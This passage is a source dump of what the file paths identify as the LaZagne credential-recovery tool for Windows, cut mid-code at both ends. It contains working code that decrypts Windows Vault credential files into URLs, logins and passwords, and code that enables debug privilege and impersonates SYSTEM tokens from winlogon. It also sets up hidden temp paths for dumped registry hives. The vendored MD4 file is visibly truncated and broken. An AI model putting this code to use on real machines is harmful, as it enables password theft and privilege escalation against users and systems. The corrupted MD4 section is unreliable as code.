>= 100: self.attr_unknown_4 = data.eat("L") self.size = data.eat("L") if self.size > 0: self.has_iv = ord(data.eat("1s")) if self.has_iv == 1: self.iv_size = data.eat("L") self.iv = data.eat(str(self.iv_size)+ "s") self.data = data.eat(str(self.size - 1 - 4 - self.iv_size) + "s") else: self.data = data.eat(str(self.size - 1) + "s") class VaultAttributeMapEntry(DataStruct): """ This class contains a pointer on VaultAttribute structure """ def __init__(self, raw=None): self.id = None self.offset = None self.attr_map_entry_unknown_1 = None self.pointer = None self.extra_entry = None DataStruct.__init__(self, raw) def parse(self, data): self.id = data.eat("L") self.offset = data.eat("L") self.attr_map_entry_unknown_1 = data.eat("L") class VaultVcrd(DataStruct): """ vcrd files contain encrypted attributes encrypted with the previous AES keys which represents the target secret """ def __init__(self, raw=None): self.schema_guid = None self.vcrd_unknown_1 = None self.last_update = None self.vcrd_unknown_2 = None self.vcrd_unknown_3 = None self.description = None self.attributes_array_size = None self.attributes_num = None self.attributes = [] DataStruct.__init__(self, raw) def parse(self, data): self.schema_guid = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s") self.vcrd_unknown_1 = data.eat("L") self.last_update = data.eat("Q") self.vcrd_unknown_2 = data.eat("L") self.vcrd_unknown_3 = data.eat("L") self.description = data.eat_length_and_string("L").replace(b"\x00", b"") # Unicode self.attributes_array_size = data.eat("L") # 12 is the size of the VAULT_ATTRIBUTE_MAP_ENTRY self.attributes_num = self.attributes_array_size // 12 for i in range(self.attributes_num): # 12: size of VaultAttributeMapEntry Structure v_map_entry = VaultAttributeMapEntry(data.eat("12s")) self.attributes.append(v_map_entry) # =============================================================================== # VAULT schemas # =============================================================================== class VaultVsch(DataStruct): """ Vault Schemas Vault file partial parsing """ def __init__(self, raw=None): self.version = None self.schema_guid = None self.vault_vsch_unknown_1 = None self.count = None self.schema_name = None DataStruct.__init__(self, raw) def parse(self, data): self.version = data.eat("L") self.schema_guid = b"%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") self.vault_vsch_unknown_1 = data.eat("L") self.count = data.eat("L") self.schema_name = data.eat_length_and_string("L").replace(b"\x00", b"") class VaultAttributeItem(object): def __init__(self, id_, item): self.id = id_ self.item = codecs.encode(item, 'hex') class VaultSchemaGeneric(DataStruct): """ Generic Vault Schema """ def __init__(self, raw=None): self.version = None self.count = None self.vault_schema_generic_unknown1 = None self.attribute_item = [] DataStruct.__init__(self, raw) def parse(self, data): self.version = data.eat("L") self.count = data.eat("L") self.vault_schema_generic_unknown1 = data.eat("L") for i in range(self.count): self.attribute_item.append( VaultAttributeItem( id_=data.eat("L"), item=data.eat_length_and_string("L").replace(b"\x00", b"") ) ) # Vault Simple Schema # VAULT_SCHEMA_SIMPLE = VaultSchemaSimpleAdapter( # Struct( # 'data' / GreedyRange(Byte), # ) # ) class VaultSchemaPin(DataStruct): """ PIN Logon Vault Resource Schema """ def __init__(self, raw=None): self.version = None self.count = None self.vault_schema_pin_unknown1 = None self.id_sid = None self.sid_len = None self.sid = None self.id_resource = None self.resource = None self.id_password = None self.password = None self.id_pin = None self.pin = None DataStruct.__init__(self, raw) def parse(self, data): self.version = data.eat("L") self.count = data.eat("L") self.vault_schema_pin_unknown1 = data.eat("L") self.id_sid = data.eat("L") self.sid_len = data.eat("L") if self.sid_len > 0: self.sid = data.eat_sub(self.sid_len) self.id_resource = data.eat("L") self.resource = data.eat_length_and_string("L").replace(b"\x00", b"") self.id_password = data.eat("L") self.authenticator = data.eat_length_and_string("L").replace(b"\x00", b"") # Password self.id_pin = data.eat("L") self.pin = data.eat_length_and_string("L") class VaultSchemaWebPassword(DataStruct): """ Windows Web Password Credential Schema """ def __init__(self, raw=None): self.version = None self.count = None self.vault_schema_web_password_unknown1 = None self.id_identity = None self.identity = None self.id_resource = None self.resource = None self.id_authenticator = None self.authenticator = None DataStruct.__init__(self, raw) def parse(self, data): self.version = data.eat("L") self.count = data.eat("L") self.vault_schema_web_password_unknown1 = data.eat("L") self.id_identity = data.eat("L") self.identity = data.eat_length_and_string("L").replace(b"\x00", b"") self.id_resource = data.eat("L") self.resource = data.eat_length_and_string("L").replace(b"\x00", b"") self.id_authenticator = data.eat("L") self.authenticator = data.eat_length_and_string("L").replace(b"\x00", b"") class VaultSchemaActiveSync(DataStruct): """ Active Sync Credential Schema """ def __init__(self, raw=None): self.version = None self.count = None self.vault_schema_activesync_unknown1 = None self.id_identity = None self.identity = None self.id_resource = None self.resource = None self.id_authenticator = None self.authenticator = None DataStruct.__init__(self, raw) def parse(self, data): self.version = data.eat("L") self.count = data.eat("L") self.vault_schema_activesync_unknown1 = data.eat("L") self.id_identity = data.eat("L") self.identity = data.eat_length_and_string("L").replace(b"\x00", b"") self.id_resource = data.eat("L") self.resource = data.eat_length_and_string("L").replace(b"\x00", b"") self.id_authenticator = data.eat("L") self.authenticator = codecs.encode(data.eat_length_and_string("L").replace(b"\x00", b""), 'hex') # Vault Schema Dict vault_schemas = { b'ActiveSyncCredentialSchema' : VaultSchemaActiveSync, b'PIN Logon Vault Resource Schema' : VaultSchemaPin, b'Windows Web Password Credential' : VaultSchemaWebPassword, } # =============================================================================== # VAULT Main Function # =============================================================================== class Vault(object): """ Contains all process to decrypt Vault files """ def __init__(self, vaults_dir): self.vaults_dir = vaults_dir def decrypt_vault_attribute(self, vault_attr, key_aes128, key_aes256): """ Helper to decrypt VAULT attributes. """ if not vault_attr.size: return b'', False if vault_attr.has_iv: cipher = AESModeOfOperationCBC(key_aes256, iv=vault_attr.iv) is_attribute_ex = True else: cipher = AESModeOfOperationCBC(key_aes128) is_attribute_ex = False data = vault_attr.data decypted = b"".join([cipher.decrypt(data[i:i + AES_BLOCK_SIZE]) for i in range(0, len(data), AES_BLOCK_SIZE)]) return decypted, is_attribute_ex def get_vault_schema(self, guid, base_dir, default_schema): """ Helper to get the Vault schema to apply on decoded data. """ vault_schema = default_schema schema_file_path = os.path.join(base_dir.encode(), guid + b'.vsch') try: with open(schema_file_path, 'rb') as fschema: vsch = VaultVsch(fschema.read()) vault_schema = vault_schemas.get( vsch.schema_name, VaultSchemaGeneric ) except IOError: pass return vault_schema def decrypt(self, mkp): """ Decrypt one vault file mkp represent the masterkeypool object Very well explained here: http://blog.digital-forensics.it/2016/01/windows-revaulting.html """ vpol_filename = os.path.join(self.vaults_dir, 'Policy.vpol') if not os.path.exists(vpol_filename): return False, u'Policy file not found: {file}'.format(file=vpol_filename) with open(vpol_filename, 'rb') as fin: vpol = VaultPolicy(fin.read()) ok, vpol_decrypted = vpol.blob_store_raw.decrypt_encrypted_blob(mkp) if not ok: return False, u'Unable to decrypt blob. {message}'.format(message=vpol_decrypted) vpol_keys = VaultPolicyKeys(vpol_decrypted) key_aes128 = vpol_keys.vpol_key1.key key_aes256 = vpol_keys.vpol_key2.key for file in os.listdir(self.vaults_dir): if file.lower().endswith('.vcrd'): filepath = os.path.join(self.vaults_dir, file) attributes_data = {} with open(filepath, 'rb') as fin: vcrd = VaultVcrd(fin.read()) current_vault_schema = self.get_vault_schema( guid=vcrd.schema_guid.upper(), base_dir=self.vaults_dir, default_schema=VaultSchemaGeneric ) for attribute in vcrd.attributes: fin.seek(attribute.offset) v_attribute = VaultAttribute(fin.read()) # print('-id: ', v_attribute.id) # print('-size: ', v_attribute.size) # print('-data: ', repr(v_attribute.data)) # print('-has_iv: ', v_attribute.has_iv) # print('-iv: ', repr(v_attribute.iv)) decrypted, is_attribute_ex = self.decrypt_vault_attribute(v_attribute, key_aes128, key_aes256) if is_attribute_ex: schema = current_vault_schema else: # schema = VAULT_SCHEMA_SIMPLE continue attributes_data[attribute.id] = { 'data': decrypted, 'schema': schema } # Parse value found for k, v in sorted(attributes_data.items()): # Parse decrypted data depending on its schema dataout = v['schema'](v['data']) if dataout: return True, { 'URL': dataout.resource, 'Login': dataout.identity, 'Password': dataout.authenticator, 'File': filepath, } return False, 'No .vcrd file found. Nothing to decrypt.' ================================================ FILE: Windows/lazagne/config/__init__.py ================================================ ================================================ FILE: Windows/lazagne/config/change_privileges.py ================================================ # -*- coding: utf-8 -*- # Original code from https://github.com/joren485/PyWinPrivEsc/blob/master/RunAsSystem.py import sys import traceback from lazagne.config.write_output import print_debug from lazagne.config.winstructure import * import os def get_token_info(hToken): """ Retrieve SID and user owner from Token """ dwSize = DWORD(0) pStringSid = LPWSTR() TokenUser = 1 if GetTokenInformation(hToken, TokenUser, byref(TOKEN_USER()), 0, byref(dwSize)) == 0: address = LocalAlloc(0x0040, dwSize) if address: GetTokenInformation(hToken, TokenUser, address, dwSize, byref(dwSize)) pToken_User = cast(address, POINTER(TOKEN_USER)) if pToken_User.contents.User.Sid: ConvertSidToStringSid(pToken_User.contents.User.Sid, byref(pStringSid)) owner, domaine, _ = LookupAccountSidW(None, pToken_User.contents.User.Sid) if pStringSid: sid = pStringSid.value LocalFree(address) return sid, owner return None, None def enable_privilege(privilegeStr, hToken=None): """ Enable Privilege on token, if no token is given the function gets the token of the current process. """ if hToken == None: hToken = HANDLE(INVALID_HANDLE_VALUE) if not hToken: return False hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, os.getpid()) if not hProcess: return False OpenProcessToken(hProcess, (TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY), byref(hToken)) e = GetLastError() if e != 0: return False CloseHandle(hProcess) privilege_id = LUID() LookupPrivilegeValueA(None, privilegeStr, byref(privilege_id)) e = GetLastError() if e != 0: return False SE_PRIVILEGE_ENABLED = 0x00000002 laa = LUID_AND_ATTRIBUTES(privilege_id, SE_PRIVILEGE_ENABLED) tp = TOKEN_PRIVILEGES(1, laa) AdjustTokenPrivileges(hToken, False, byref(tp), sizeof(tp), None, None) e = GetLastError() if e != 0: return False return True def get_debug_privilege(): """ Enable SE Debug privilege on token """ return RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE) def list_sids(): """ List all SID by process """ sids = [] for pid in EnumProcesses(): if pid <= 4: continue try: hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, pid) if not hProcess: continue hToken = HANDLE(INVALID_HANDLE_VALUE) if OpenProcessToken(hProcess, tokenprivs, byref(hToken)): if hToken: token_sid, owner = get_token_info(hToken) if token_sid and owner: pname = '' sids.append((pid, pname, token_sid, owner)) CloseHandle(hToken) CloseHandle(hProcess) except Exception as e: print_debug('DEBUG', traceback.format_exc()) continue return list(sids) def get_sid_token(token_sid): if token_sid == "S-1-5-18": sids = list_sids() for sid in sids: if "winlogon" in sid[1].lower(): try: hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, sid[0]) if hProcess: hToken = HANDLE(INVALID_HANDLE_VALUE) if hToken: OpenProcessToken(hProcess, tokenprivs, byref(hToken)) if hToken: print_debug('INFO', u'Using PID: ' + str(sid[0])) CloseHandle(hProcess) return hToken # CloseHandle(hToken) CloseHandle(hProcess) except Exception as e: print_debug('ERROR', u'{error}'.format(error=e)) break return False for pid in EnumProcesses(): if pid <= 4: continue try: hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, int(pid)) if hProcess: hToken = HANDLE(INVALID_HANDLE_VALUE) if hToken: OpenProcessToken(hProcess, tokenprivs, byref(hToken)) if hToken: sid, owner = get_token_info(hToken) if sid == token_sid: print_debug('INFO', u'Impersonate token from pid: ' + str(pid)) CloseHandle(hProcess) return hToken CloseHandle(hToken) CloseHandle(hProcess) except Exception as e: print_debug('ERROR', u'{error}'.format(error=e)) return False def impersonate_sid(sid, close=True): """ Try to impersonate an SID """ hToken = get_sid_token(sid) if hToken: hTokendupe = impersonate_token(hToken) if hTokendupe: if close: CloseHandle(hTokendupe) return hTokendupe return False global_ref = None def impersonate_sid_long_handle(*args, **kwargs): """ Try to impersonate an SID """ global global_ref hTokendupe = impersonate_sid(*args, **kwargs) if not hTokendupe: return False if global_ref: CloseHandle(global_ref) global_ref = hTokendupe return addressof(hTokendupe) def impersonate_token(hToken): """ Impersonate token - Need admin privilege """ if get_debug_privilege(): hTokendupe = HANDLE(INVALID_HANDLE_VALUE) if hTokendupe: SecurityImpersonation = 2 TokenPrimary = 1 if DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, None, SecurityImpersonation, TokenPrimary, byref(hTokendupe)): CloseHandle(hToken) if ImpersonateLoggedOnUser(hTokendupe): return hTokendupe else: print_debug('DEBUG', 'Get debug privilege failed') return False def rev2self(): """ Back to previous token priv """ global global_ref RevertToSelf() try: if global_ref: CloseHandle(global_ref) except Exception: pass global_ref = None ================================================ FILE: Windows/lazagne/config/constant.py ================================================ # -*- coding: utf-8 -*- import tempfile import random import string import time import os date = time.strftime("%d%m%Y_%H%M%S") tmp = tempfile.gettempdir() class constant(): folder_name = '.' file_name_results = 'credentials_{current_time}'.format( current_time=date ) # The extension is added depending on the user output choice max_help = 27 CURRENT_VERSION = '2.4.7' output = None modules_dic = {} nb_password_found = 0 # Total password found password_found = [] # Tab containing all passwords used for dictionary attack stdout_result = [] # Tab containing all results by user pypykatz_result = {} finalResults = {} profile = { 'APPDATA': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\', 'USERPROFILE': u'{drive}:\\Users\\{user}\\', 'HOMEDRIVE': u'{drive}:', 'HOMEPATH': u'{drive}:\\Users\\{user}', 'ALLUSERSPROFILE': u'{drive}:\\ProgramData', 'COMPOSER_HOME': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\Composer\\', 'LOCALAPPDATA': u'{drive}:\\Users\\{user}\\AppData\\Local', } username = u'' keepass = {} hives = { 'sam': os.path.join( tmp, ''.join([random.choice(string.ascii_lowercase) for x in range(0, random.randint(6, 12))])), 'security': os.path.join( tmp, ''.join([random.choice(string.ascii_lowercase) for x in range(0, random.randint(6, 12))])), 'system': os.path.join( tmp, ''.join([random.choice(string.ascii_lowercase) for x in range(0, random.randint(6, 12))])) } quiet_mode = False st = None # Standard output drive = u'C' user_dpapi = None system_dpapi = None lsa_secrets = None is_current_user = False # If True, Windows API are used otherwise dpapi is used user_password = None wifi_password = False # Check if the module as already be done module_to_exec_at_end = { "winapi": [], "dpapi": [], } dpapi_cache = {} ================================================ FILE: Windows/lazagne/config/crypto/__init__.py ================================================ ================================================ FILE: Windows/lazagne/config/crypto/md4.py ================================================ #!/usr/bin/env python3 # -*- coding: utf-8 -*- # # Copyright © 2019 James Seo (github.com/kangtastic). # # This file is released under the WTFPL, version 2 (wtfpl.net). # # md4.py: An implementation of the MD4 hash algorithm in pure Python 3. # # Description: Zounds! Yet another rendition of pseudocode from RFC1320! # Bonus points for the algorithm literally being from 1992. # # From https://gist.github.com/kangtastic/c3349fc4f9d659ee362b12d7d8c639b6 import struct class MD4: """An implementation of the MD4 hash algorithm.""" width = 32 mask = 0xFFFFFFFF # Unlike, say, SHA-1, MD4 uses little-endian. Fascinating! h = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476] def __init__(self, msg=None): """:param ByteString msg: The message to be hashed.""" if msg is None: msg = b"" self.msg = msg # Pre-processing: Total length is a multiple of 512 bits. ml = len(msg) * 8 msg += b"\x80" msg += b"\x00" * (-(len(msg) + 8) % 64) msg += struct.pack("> (MD4.width - n) return lbits | rbits ================================================ FILE: Windows/lazagne/config/crypto/pyDes.py ================================================ ############################################################################# # Documentation # ############################################################################# # Author: Todd Whiteman # Date: 28th April, 2010 # Version: 2.0.1 # License: MIT # Homepage: http://twhiteman.netfirms.com/des.html # # This is a pure python implementation of the DES encryption algorithm. # It's pure python to avoid portability issues, since most DES # implementations are programmed in C (for performance reasons). # # Triple DES class is also implemented, utilizing the DES base. Triple DES # is either DES-EDE3 with a 24 byte key, or DES-EDE2 with a 16 byte key. # # See the README.txt that should come with this python module for the # implementation methods used. # # Thanks to: # * David Broadwell for ideas, comments and suggestions. # * Mario Wolff for pointing out and debugging some triple des CBC errors. # * Santiago Palladino for providing the PKCS5 padding technique. # * Shaya for correcting the PAD_PKCS5 triple des CBC errors. # """A pure python implementation of the DES and TRIPLE DES encryption algorithms. Class initialization -------------------- pyDes.des(key, [mode], [IV], [pad], [padmode]) pyDes.triple_des(key, [mode], [IV], [pad], [padmode]) key -> Bytes containing the encryption key. 8 bytes for DES, 16 or 24 bytes for Triple DES mode -> Optional argument for encryption type, can be either pyDes.ECB (Electronic Code Book) or pyDes.CBC (Cypher Block Chaining) IV -> Optional Initial Value bytes, must be supplied if using CBC mode. Length must be 8 bytes. pad -> Optional argument, set the pad character (PAD_NORMAL) to use during all encrypt/decrypt operations done with this instance. padmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5) to use during all encrypt/decrypt operations done with this instance. I recommend to use PAD_PKCS5 padding, as then you never need to worry about any padding issues, as the padding can be removed unambiguously upon decrypting data that was encrypted using PAD_PKCS5 padmode. Common methods -------------- encrypt(data, [pad], [padmode]) decrypt(data, [pad], [padmode]) data -> Bytes to be encrypted/decrypted pad -> Optional argument. Only when using padmode of PAD_NORMAL. For encryption, adds this characters to the end of the data block when data is not a multiple of 8 bytes. For decryption, will remove the trailing characters that match this pad character from the last 8 bytes of the unencrypted data block. padmode -> Optional argument, set the padding mode, must be one of PAD_NORMAL or PAD_PKCS5). Defaults to PAD_NORMAL. Example ------- from pyDes import * data = "Please encrypt my data" k = des("DESCRYPT", CBC, "\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5) # For Python3, you'll need to use bytes, i.e.: # data = b"Please encrypt my data" # k = des(b"DESCRYPT", CBC, b"\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5) d = k.encrypt(data) print "Encrypted: %r" % d print "Decrypted: %r" % k.decrypt(d) assert k.decrypt(d, padmode=PAD_PKCS5) == data See the module source (pyDes.py) for more examples of use. You can also run the pyDes.py file without and arguments to see a simple test. Note: This code was not written for high-end systems needing a fast implementation, but rather a handy portable solution with small usage. """ import sys # _pythonMajorVersion is used to handle Python2 and Python3 differences. _pythonMajorVersion = sys.version_info[0] # Modes of crypting / cyphering ECB = 0 CBC = 1 # Modes of padding PAD_NORMAL = 1 PAD_PKCS5 = 2 # PAD_PKCS5: is a method that will unambiguously remove all padding # characters after decryption, when originally encrypted with # this padding mode. # For a good description of the PKCS5 padding technique, see: # http://www.faqs.org/rfcs/rfc1423.html # The base class shared by des and triple des. class _baseDes(object): def __init__(self, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): if IV: IV = self._guardAgainstUnicode(IV) if pad: pad = self._guardAgainstUnicode(pad) self.block_size = 8 # Sanity checking of arguments. if pad and padmode == PAD_PKCS5: raise ValueError("Cannot use a pad character with PAD_PKCS5") if IV and len(IV) != self.block_size: raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes") # Set the passed in variables self._mode = mode self._iv = IV self._padding = pad self._padmode = padmode def getKey(self): """getKey() -> bytes""" return self.__key def setKey(self, key): """Will set the crypting key for this object.""" key = self._guardAgainstUnicode(key) self.__key = key def getMode(self): """getMode() -> pyDes.ECB or pyDes.CBC""" return self._mode def setMode(self, mode): """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC""" self._mode = mode def getPadding(self): """getPadding() -> bytes of length 1. Padding character.""" return self._padding def setPadding(self, pad): """setPadding() -> bytes of length 1. Padding character.""" if pad is not None: pad = self._guardAgainstUnicode(pad) self._padding = pad def getPadMode(self): """getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" return self._padmode def setPadMode(self, mode): """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" self._padmode = mode def getIV(self): """getIV() -> bytes""" return self._iv def setIV(self, IV): """Will set the Initial Value, used in conjunction with CBC mode""" if not IV or len(IV) != self.block_size: raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes") IV = self._guardAgainstUnicode(IV) self._iv = IV def _padData(self, data, pad, padmode): # Pad data depending on the mode if padmode is None: # Get the default padding mode. padmode = self.getPadMode() if pad and padmode == PAD_PKCS5: raise ValueError("Cannot use a pad character with PAD_PKCS5") if padmode == PAD_NORMAL: if len(data) % self.block_size == 0: # No padding required. return data if not pad: # Get the default padding. pad = self.getPadding() if not pad: raise ValueError("Data must be a multiple of " + str(self.block_size) + " bytes in length. Use padmode=PAD_PKCS5 or set the pad character.") data += (self.block_size - (len(data) % self.block_size)) * pad elif padmode == PAD_PKCS5: pad_len = 8 - (len(data) % self.block_size) if _pythonMajorVersion < 3: data += pad_len * chr(pad_len) else: data += bytes([pad_len] * pad_len) return data def _unpadData(self, data, pad, padmode): # Unpad data depending on the mode. if not data: return data if pad and padmode == PAD_PKCS5: raise ValueError("Cannot use a pad character with PAD_PKCS5") if padmode is None: # Get the default padding mode. padmode = self.getPadMode() if padmode == PAD_NORMAL: if not pad: # Get the default padding. pad = self.getPadding() if pad: data = data[:-self.block_size] + \ data[-self.block_size:].rstrip(pad) elif padmode == PAD_PKCS5: if _pythonMajorVersion < 3: pad_len = ord(data[-1]) else: pad_len = data[-1] data = data[:-pad_len] return data def _guardAgainstUnicode(self, data): # Only accept byte strings or ascii unicode values, otherwise # there is no way to correctly decode the data into bytes. if _pythonMajorVersion < 3: if isinstance(data, unicode): # noqa raise ValueError("pyDes can only work with bytes, not Unicode strings.") else: if isinstance(data, str): # Only accept ascii unicode values. try: return data.encode('ascii') except UnicodeEncodeError: pass raise ValueError("pyDes can only work with encoded strings, not Unicode.") return data ############################################################################# # DES # ############################################################################# class des(_baseDes): """DES encryption/decrytpion class Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. pyDes.des(key,[mode], [IV]) key -> Bytes containing the encryption key, must be exactly 8 bytes mode -> Optional argument for encryption type, can be either pyDes.ECB (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) IV -> Optional Initial Value bytes, must be supplied if using CBC mode. Must be 8 bytes in length. pad -> Optional argument, set the pad character (PAD_NORMAL) to use during all encrypt/decrypt operations done with this instance. padmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5) to use during all encrypt/decrypt operations done with this instance. """ # Permutation and translation tables for DES __pc1 = [56, 48, 40, 32, 24, 16, 8, 0, 57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 60, 52, 44, 36, 28, 20, 12, 4, 27, 19, 11, 3 ] # number left rotations of pc1 __left_rotations = [ 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1 ] # permuted choice key (table 2) __pc2 = [ 13, 16, 10, 23, 0, 4, 2, 27, 14, 5, 20, 9, 22, 18, 11, 3, 25, 7, 15, 6, 26, 19, 12, 1, 40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47, 43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31 ] # initial permutation IP __ip = [57, 49, 41, 33, 25, 17, 9, 1, 59, 51, 43, 35, 27, 19, 11, 3, 61, 53, 45, 37, 29, 21, 13, 5, 63, 55, 47, 39, 31, 23, 15, 7, 56, 48, 40, 32, 24, 16, 8, 0, 58, 50, 42, 34, 26, 18, 10, 2, 60, 52, 44, 36, 28, 20, 12, 4, 62, 54, 46, 38, 30, 22, 14, 6 ] # Expansion table for turning 32 bit blocks into 48 bits __expansion_table = [ 31, 0, 1, 2, 3, 4, 3, 4, 5, 6, 7, 8, 7, 8, 9, 10, 11, 12, 11, 12, 13, 14, 15, 16, 15, 16, 17, 18, 19, 20, 19, 20, 21, 22, 23, 24, 23, 24, 25, 26, 27, 28, 27, 28, 29, 30, 31, 0 ] # The (in)famous S-boxes __sbox = [ # S1 [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7, 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8, 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0, 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13], # S2 [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10, 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5, 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15, 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9], # S3 [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8, 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1, 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7, 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12], # S4 [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15, 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9, 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4, 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14], # S5 [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9, 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6, 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14, 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3], # S6 [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11, 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8, 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6, 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13], # S7 [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1, 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6, 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2, 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12], # S8 [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7, 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2, 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8, 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11], ] # 32-bit permutation function P used on the output of the S-boxes __p = [ 15, 6, 19, 20, 28, 11, 27, 16, 0, 14, 22, 25, 4, 17, 30, 9, 1, 7, 23,13, 31, 26, 2, 8, 18, 12, 29, 5, 21, 10, 3, 24 ] # final permutation IP^-1 __fp = [ 39, 7, 47, 15, 55, 23, 63, 31, 38, 6, 46, 14, 54, 22, 62, 30, 37, 5, 45, 13, 53, 21, 61, 29, 36, 4, 44, 12, 52, 20, 60, 28, 35, 3, 43, 11, 51, 19, 59, 27, 34, 2, 42, 10, 50, 18, 58, 26, 33, 1, 41, 9, 49, 17, 57, 25, 32, 0, 40, 8, 48, 16, 56, 24 ] # Type of crypting being done ENCRYPT = 0x00 DECRYPT = 0x01 # Initialisation def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): # Sanity checking of arguments. if len(key) != 8: raise ValueError("Invalid DES key size. Key must be exactly 8 bytes long.") _baseDes.__init__(self, mode, IV, pad, padmode) self.key_size = 8 self.L = [] self.R = [] self.Kn = [ [0] * 48 ] * 16 # 16 48-bit keys (K1 - K16) self.final = [] self.setKey(key) def setKey(self, key): """Will set the crypting key for this object. Must be 8 bytes.""" _baseDes.setKey(self, key) self.__create_sub_keys() def __String_to_BitList(self, data): """Turn the string data, into a list of bits (1, 0)'s""" if _pythonMajorVersion < 3: # Turn the strings into integers. Python 3 uses a bytes # class, which already has this behaviour. data = [ord(c) for c in data] l = len(data) * 8 result = [0] * l pos = 0 for ch in data: i = 7 while i >= 0: if ch & (1 << i) != 0: result[pos] = 1 else: result[pos] = 0 pos += 1 i -= 1 return result def __BitList_to_String(self, data): """Turn the list of bits -> data, into a string""" result = [] pos = 0 c = 0 while pos < len(data): c += data[pos] << (7 - (pos % 8)) if (pos % 8) == 7: result.append(c) c = 0 pos += 1 if _pythonMajorVersion < 3: return ''.join([ chr(c) for c in result ]) else: return bytes(result) def __permutate(self, table, block): """Permutate this block with the specified table""" return list(map(lambda x: block[x], table)) # Transform the secret key, so that it is ready for data processing # Create the 16 subkeys, K[1] - K[16] def __create_sub_keys(self): """Create the 16 subkeys K[1] to K[16] from the given key""" key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey())) i = 0 # Split into Left and Right sections self.L = key[:28] self.R = key[28:] while i < 16: j = 0 # Perform circular left shifts while j < des.__left_rotations[i]: self.L.append(self.L[0]) del self.L[0] self.R.append(self.R[0]) del self.R[0] j += 1 # Create one of the 16 subkeys through pc2 permutation self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R) i += 1 # Main part of the encryption algorithm, the number cruncher :) def __des_crypt(self, block, crypt_type): """Crypt the block of data through DES bit-manipulation""" block = self.__permutate(des.__ip, block) self.L = block[:32] self.R = block[32:] # Encryption starts from Kn[1] through to Kn[16] if crypt_type == des.ENCRYPT: iteration = 0 iteration_adjustment = 1 # Decryption starts from Kn[16] down to Kn[1] else: iteration = 15 